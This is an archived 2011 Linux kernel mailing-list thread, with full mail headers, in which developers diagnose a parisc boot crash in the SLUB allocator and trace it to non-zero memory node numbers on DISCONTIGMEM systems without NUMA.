Xref: news.gmane.org gmane.linux.ports.parisc:3571 gmane.linux.kernel.mm:61589 gmane.linux.kernel:1128513
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3571>

On Tue, Apr 19, 2011 at 6:46 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> It compiles OK, but crashes on boot in fsck. =A0The crash is definite=
ly mm
> but looks to be a slab problem (it's a null deref on a spinlock in
> add_partial(), which seems unrelated to this patch).
>
> [ =A0 15.628000] sd 1:0:2:0: [sdc] Attached SCSI disk
> done.
> [ =A0 16.632000] EXT3-fs: barriers not enabled
> [ =A0 16.640000] kjournald starting. =A0Commit interval 5 seconds
> [ =A0 16.640000] EXT3-fs (sda3): mounted filesystem with ordered data=
 mode
> Begin: Running /scripts/local-bottom ... done.
> done.
> Begin: Running /scripts/init-bottom ... done.
> INIT: version 2.88 booting
> Setting hostname to 'ion'...done.
> Starting the hotplug events dispatcher: udevd[ =A0 22.008000] udev[21=
1]: starting version 164
> .
> Synthesizing the initial hotplug events...done.
> Waiting for /dev to be fully populated...done.
> Activating swap:swapon on /dev/sda2
> swapon: /dev/sda2: found swap signature: version 1, page-size 4, same=
 byte order
> swapon: /dev/sda2: pagesize=3D4096, swapsize=3D1028157440, devsize=3D=
1028160000
> [ =A0 28.780000] Adding 1004056k swap on /dev/sda2. =A0Priority:-1 ex=
tents:1 across:1004056k
> .
> Will now check root file system:fsck from util-linux-ng 2.17.2
> [/sbin/fsck.ext3 (1) -- /] fsck.ext3 -a -C0 /dev/sda3
> /dev/sda3 has been mounted 37 times without being checked, check forc=
ed.
> [ =A0257.192000] Backtrace:=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D =A0 =A0 =
=A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0\ 42.8%
> [ =A0257.192000] =A0[<0000000040214f78>] add_partial+0x28/0x98
> [ =A0257.192000] =A0[<0000000040217ff8>] __slab_free+0x1d0/0x1d8
> [ =A0257.192000] =A0[<000000004021825c>] kmem_cache_free+0xc4/0x128
> [ =A0257.192000] =A0[<00000000401fd1a4>] remove_vma+0x8c/0xc0
> [ =A0257.192000] =A0[<00000000401fd3a8>] exit_mmap+0x1d0/0x220
> [ =A0257.192000] =A0[<0000000040156514>] mmput+0xd4/0x200
> [ =A0257.192000] =A0[<000000004015c7b8>] exit_mm+0x100/0x2c0
> [ =A0257.192000] =A0[<000000004015ef40>] do_exit+0x778/0x9d8
> [ =A0257.192000] =A0[<000000004015f1ec>] do_group_exit+0x4c/0xe0
> [ =A0257.192000] =A0[<000000004015f298>] sys_exit_group+0x18/0x28
> [ =A0257.192000] =A0[<0000000040106034>] syscall_exit+0x0/0x14
> [ =A0257.192000]
> [ =A0257.192000]
> [ =A0257.192000] Kernel Fault: Code=3D26 regs=3D00000040bf1807d0 (Add=
r=3D0000000000000000)
> [ =A0257.192000]
> [ =A0257.192000] =A0 =A0 =A0YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [ =A0257.192000] PSW: 00001000000001001111000000001110 Not tainted
> [ =A0257.192000] r00-03 =A0000000ff0804f00e 0000000040769e40 00000000=
40214f78 0000000000000000
> [ =A0257.192000] r04-07 =A00000000040746e40 0000000000000001 00000040=
80ded370 0000000000000001
> [ =A0257.192000] r08-11 =A00000000040654150 0000000000000000 00000000=
00000001 0000000000000001
> [ =A0257.192000] r12-15 =A00000000000000000 00000000ffffffff 00000000=
00000024 0000000000000000
> [ =A0257.192000] r16-19 =A000000000fb4ead9c 00000000fb4eac54 00000000=
00000000 0000000000000000
> [ =A0257.192000] r20-23 =A0000000000800000e 0000000000000001 00000000=
7bbb7180 00000000401fd1a4
> [ =A0257.192000] r24-27 =A00000000000000001 0000004080ded370 00000000=
00000000 0000000040746e40
> [ =A0257.192000] r28-31 =A0000000007ec0a908 00000040bf1807a0 00000040=
bf1807d0 0000000000000016
> [ =A0257.192000] sr00-03 =A000000000002d9000 0000000000000000 0000000=
000000000 00000000002d9000
> [ =A0257.192000] sr04-07 =A00000000000000000 0000000000000000 0000000=
000000000 0000000000000000
> [ =A0257.192000]
> [ =A0257.192000] IASQ: 0000000000000000 0000000000000000 IAOQ: 000000=
004011bbc0 000000004011bbc4
> [ =A0257.192000] =A0IIR: 0f4015dc =A0 =A0ISR: 0000000000000000 =A0IOR=
: 0000000000000000
> [ =A0257.192000] =A0CPU: =A0 =A0 =A0 =A00 =A0 CR30: 00000040bf180000 =
CR31: fffffff0f0e098e0
> [ =A0257.192000] =A0ORIG_R28: 0000000040769e40
> [ =A0257.192000] =A0IAOQ[0]: _raw_spin_lock+0x0/0x20
> [ =A0257.192000] =A0IAOQ[1]: _raw_spin_lock+0x4/0x20
> [ =A0257.192000] =A0RP(r2): add_partial+0x28/0x98
> [ =A0257.192000] Backtrace:
> [ =A0257.192000] =A0[<0000000040214f78>] add_partial+0x28/0x98
> [ =A0257.192000] =A0[<0000000040217ff8>] __slab_free+0x1d0/0x1d8
> [ =A0257.192000] =A0[<000000004021825c>] kmem_cache_free+0xc4/0x128
> [ =A0257.192000] =A0[<00000000401fd1a4>] remove_vma+0x8c/0xc0
> [ =A0257.192000] =A0[<00000000401fd3a8>] exit_mmap+0x1d0/0x220
> [ =A0257.192000] =A0[<0000000040156514>] mmput+0xd4/0x200
> [ =A0257.192000] =A0[<000000004015c7b8>] exit_mm+0x100/0x2c0
> [ =A0257.192000] =A0[<000000004015ef40>] do_exit+0x778/0x9d8
> [ =A0257.192000] =A0[<000000004015f1ec>] do_group_exit+0x4c/0xe0
> [ =A0257.192000] =A0[<000000004015f298>] sys_exit_group+0x18/0x28
> [ =A0257.192000] =A0[<0000000040106034>] syscall_exit+0x0/0x14
> [ =A0257.192000]
> [ =A0257.192000] Kernel panic - not syncing: Kernel Fault
> [ =A0257.192000] Backtrace:
> [ =A0257.192000] =A0[<000000004011f984>] show_stack+0x14/0x20
> [ =A0257.192000] =A0[<000000004011f9a8>] dump_stack+0x18/0x28
> [ =A0257.192000] =A0[<000000004015946c>] panic+0xd4/0x368
> [ =A0257.192000] =A0[<0000000040120024>] parisc_terminate+0x14c/0x170
> [ =A0257.192000] =A0[<000000004012059c>] handle_interruption+0x2ac/0x=
8f8
> [ =A0257.192000] =A0[<000000004011bbc0>] _raw_spin_lock+0x0/0x20
> [ =A0257.192000]
> [ =A0257.192000] Rebooting in 5 seconds..
>
> It seems to be a random intermittent mm crash because the next reboot
> crashed with the same trace but after the fsck had completed and the
> third came up to the login prompt.

Looks like a genuine SLUB problem on parisc. Christoph?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 12:11:28 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <1303233088.3171.26.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303233100 22466 80.91.229.12 (19 Apr 2011 17:11:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 17:11:40 +0000 (UTC)
Cc: Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Christoph Lameter <cl@linux.com>,
	David Rientjes <rientjes@google.com>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 19:11:33 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCESb-0003Aq-5g
	for glpp-linux-parisc@lo.gmane.org; Tue, 19 Apr 2011 19:11:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753695Ab1DSRLc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 13:11:32 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37863 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752774Ab1DSRLb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 13:11:31 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0A4A28EE0F5;
	Tue, 19 Apr 2011 10:11:31 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id MlesJlomiuzX; Tue, 19 Apr 2011 10:11:30 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 235C28EE01D;
	Tue, 19 Apr 2011 10:11:30 -0700 (PDT)
In-Reply-To: <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3572 gmane.linux.kernel.mm:61590 gmane.linux.kernel:1128517
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3572>

On Tue, 2011-04-19 at 20:05 +0300, Pekka Enberg wrote:
> > It seems to be a random intermittent mm crash because the next reboot
> > crashed with the same trace but after the fsck had completed and the
> > third came up to the login prompt.
> 
> Looks like a genuine SLUB problem on parisc. Christoph?

Looking through the slub code, it seems to be making invalid
assumptions.  All of the node stuff is dependent on CONFIG_NUMA.
However, we're CONFIG_DISCONTIGMEM (with CONFIG_NUMA not set): on the
machines I and Dave Anglin have, our physical memory ranges are 0-1GB
and 64-65GB, so I think slub crashes when we get a page from the high
memory range ... because it's not expecting a non-zero node number.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 12:12:48 -0500 (CDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191211480.17888@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz> <alpine.LSU.2.00.1104171952040.22679@sister.anvils> <20110418100131.GD8925@tiehlicka.suse.cz> <20110418135637.5baac204.akpm@linux-foundation.org> <20110419111004.GE21689@tiehlicka.suse.cz>
 <1303228009.3171.18.camel@mulgrave.site> <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811839-755122748-1303233170=:17888"
X-Trace: dough.gmane.org 1303233184 23047 80.91.229.12 (19 Apr 2011 17:13:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 17:13:04 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
  Michal Hocko <mhocko@suse.cz>, Andrew Morton <akpm@linux-foundation.org>,
  Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
  LKML <linux-kernel@vger.kernel.org>, linux-parisc@vger.kernel.org,
  David Rientjes <rientjes@google.com>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 19:12:58 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCETy-00048I-2x
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 19:12:58 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 9D4F98D0040; Tue, 19 Apr 2011 13:12:56 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7A4FB8D003B; Tue, 19 Apr 2011 13:12:54 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id DF3C18D0040; Tue, 19 Apr 2011 13:12:53 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail144.messagelabs.com (mail144.messagelabs.com [216.82.254.51])
	by kanga.kvack.org (Postfix) with SMTP id DC7FB8D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 13:12:52 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-5.tower-144.messagelabs.com!1303233172!79518910!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.46]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
Original-Received: (qmail 2907 invoked from network); 19 Apr 2011 17:12:52 -0000
Original-Received: from smtp107.prem.mail.ac4.yahoo.com (HELO smtp107.prem.mail.ac4.yahoo.com) (76.13.13.46)
  by server-5.tower-144.messagelabs.com with SMTP; 19 Apr 2011 17:12:52 -0000
Original-Received: (qmail 63105 invoked from network); 19 Apr 2011 17:12:51 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp107.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 10:12:51 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: MC6zFsoVM1nuYFvVZBLsMaKtlnVCJi8NHufuC.8wx3dJv3Q
 eQfvJrH3H6W7DCMoep5Eos3fhX774hHWTfm0ju6Od5wdsW03nC2P8j6VJqCu
 gxCJ4DDMvCsuQ4Pt6Z7scnlalsihPzmz4I2qjQbiNJnMPfJxfMSYzryge1o5
 sZxMewDhXlhzxrnwdJizpMXgGBpm0Q3RY2Z_Nhj1juY3EM.4hhepqp833y3U
 FAXJc9Fljvfi6KKvzsx.cn..cS1cFXwAOMg63hjeM_o0Vf.PWz9naHZuU4.J
 NMlzjhpK7USvtjZLU._iGYRkng1Ng7o9xXSIXuUbpkoswhz_F
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCETq-00051K-Km; Tue, 19 Apr 2011 12:12:50 -0500
X-X-Sender: cl@router.home
In-Reply-To: <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61591 gmane.linux.kernel:1128518 gmane.linux.ports.parisc:3573
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61591>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1463811839-755122748-1303233170=:17888
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE

On Tue, 19 Apr 2011, Pekka Enberg wrote:

> On Tue, Apr 19, 2011 at 6:46 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > It compiles OK, but crashes on boot in fsck. =A0The crash is definitely=
 mm
> > but looks to be a slab problem (it's a null deref on a spinlock in
> > add_partial(), which seems unrelated to this patch).

That means that the per node structures have not been setup yet. Node
hotplug not working?

> > It seems to be a random intermittent mm crash because the next reboot
> > crashed with the same trace but after the fsck had completed and the
> > third came up to the login prompt.
>
> Looks like a genuine SLUB problem on parisc. Christoph?

Race between node hotplug and use of the slab on that node?

---1463811839-755122748-1303233170=:17888--

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 12:15:01 -0500 (CDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104191213120.17888@router.home>
References: <20110415135144.GE8828@tiehlicka.suse.cz>  <alpine.LSU.2.00.1104171952040.22679@sister.anvils>  <20110418100131.GD8925@tiehlicka.suse.cz>  <20110418135637.5baac204.akpm@linux-foundation.org>  <20110419111004.GE21689@tiehlicka.suse.cz> 
 <1303228009.3171.18.camel@mulgrave.site>  <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com> <1303233088.3171.26.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303233321 24020 80.91.229.12 (19 Apr 2011 17:15:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 17:15:21 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
  Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
  linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
  linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 19:15:15 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCEW8-0005VF-2U
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 19:15:12 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 2DC3A8D0040; Tue, 19 Apr 2011 13:15:10 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F1A528D003B; Tue, 19 Apr 2011 13:15:09 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id D8F978D0040; Tue, 19 Apr 2011 13:15:08 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail144.messagelabs.com (mail144.messagelabs.com [216.82.254.51])
	by kanga.kvack.org (Postfix) with SMTP id B8D778D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 13:15:06 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: cl@linux.com
X-Msg-Ref: server-11.tower-144.messagelabs.com!1303233303!71668920!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.44]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
Original-Received: (qmail 22582 invoked from network); 19 Apr 2011 17:15:03 -0000
Original-Received: from smtp105.prem.mail.ac4.yahoo.com (HELO smtp105.prem.mail.ac4.yahoo.com) (76.13.13.44)
  by server-11.tower-144.messagelabs.com with SMTP; 19 Apr 2011 17:15:03 -0000
Original-Received: (qmail 62119 invoked from network); 19 Apr 2011 17:15:04 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp105.prem.mail.ac4.yahoo.com with SMTP; 19 Apr 2011 10:15:04 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: ckhlbV0VM1kGCQFpB3u3C0JB2WoYSOgS6jTWeHQ1kXDGzt7
 kWV5UgieYQxDdJJRNtsDitkbYp9Xi.lt49KI0FgfaJhUM0fPO4qefnPrwKGo
 Cor39d06Bi2Kbdi4vljbh2d803JrBtWyLzhBwyJJrKXEG_SRjrNrZaDJ0aPf
 dRTV.IzJg4uIQBu12sv.RM3qnWlZu3ZKr5il_3YYOhdHywQk8c4CCw2bN_oa
 VWP51JzxC1A_2ZYPCnAxz.bSP1b58in_DOc8qs2TORcUTIQSyfEKIFA2bzyF
 itEPpwz5qFsCqS7FmZspUfbJt3xZ_PcXtecj.3ZjJe6wZiMCY
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCEVz-00051u-Es; Tue, 19 Apr 2011 12:15:03 -0500
X-X-Sender: cl@router.home
In-Reply-To: <1303233088.3171.26.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61592 gmane.linux.kernel:1128521 gmane.linux.ports.parisc:3574
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61592>

On Tue, 19 Apr 2011, James Bottomley wrote:

> On Tue, 2011-04-19 at 20:05 +0300, Pekka Enberg wrote:
> > > It seems to be a random intermittent mm crash because the next reboot
> > > crashed with the same trace but after the fsck had completed and the
> > > third came up to the login prompt.
> >
> > Looks like a genuine SLUB problem on parisc. Christoph?
>
> Looking through the slub code, it seems to be making invalid
> assumptions.  All of the node stuff is dependent on CONFIG_NUMA.
> However, we're CONFIG_DISCONTIGMEM (with CONFIG_NUMA not set): on the
> machines I and Dave Anglin have, our physical memory ranges are 0-1GB
> and 64-65GB, so I think slub crashes when we get a page from the high
> memory range ... because it's not expecting a non-zero node number.

Right !NUMA systems only have node 0.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 12:48:26 -0500
Lines: 71
Approved: news@gmane.org
Message-ID: <1303235306.3171.33.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
	 <1303233088.3171.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191213120.17888@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303235322 3982 80.91.229.12 (19 Apr 2011 17:48:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2011 17:48:42 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
 Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
 linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
 linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: owner-linux-mm@kvack.org Tue Apr 19 19:48:37 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCF2S-0000YF-3H
	for glkm-linux-mm-2@m.gmane.org; Tue, 19 Apr 2011 19:48:36 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 2EE0D8D0040; Tue, 19 Apr 2011 13:48:34 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id F28F58D003B; Tue, 19 Apr 2011 13:48:32 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 7B7AD8D0040; Tue, 19 Apr 2011 13:48:31 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail203.messagelabs.com (mail203.messagelabs.com [216.82.254.243])
	by kanga.kvack.org (Postfix) with SMTP id 988EF8D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 13:48:30 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: James.Bottomley@HansenPartnership.com
X-Msg-Ref: server-10.tower-203.messagelabs.com!1303235307!57535011!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [66.63.167.143]
X-SpamReason: No, hits=0.0 required=7.0 tests=
Original-Received: (qmail 29253 invoked from network); 19 Apr 2011 17:48:28 -0000
Original-Received: from bedivere.hansenpartnership.com (HELO bedivere.hansenpartnership.com) (66.63.167.143)
  by server-10.tower-203.messagelabs.com with SMTP; 19 Apr 2011 17:48:28 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DBD808EE0FD;
	Tue, 19 Apr 2011 10:48:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id S0e26UERiX6c; Tue, 19 Apr 2011 10:48:28 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F35E38EE01D;
	Tue, 19 Apr 2011 10:48:27 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191213120.17888@router.home>
X-Mailer: Evolution 2.32.1 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61593 gmane.linux.kernel:1128534 gmane.linux.ports.parisc:3575
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61593>

On Tue, 2011-04-19 at 12:15 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > On Tue, 2011-04-19 at 20:05 +0300, Pekka Enberg wrote:
> > > > It seems to be a random intermittent mm crash because the next reboot
> > > > crashed with the same trace but after the fsck had completed and the
> > > > third came up to the login prompt.
> > >
> > > Looks like a genuine SLUB problem on parisc. Christoph?
> >
> > Looking through the slub code, it seems to be making invalid
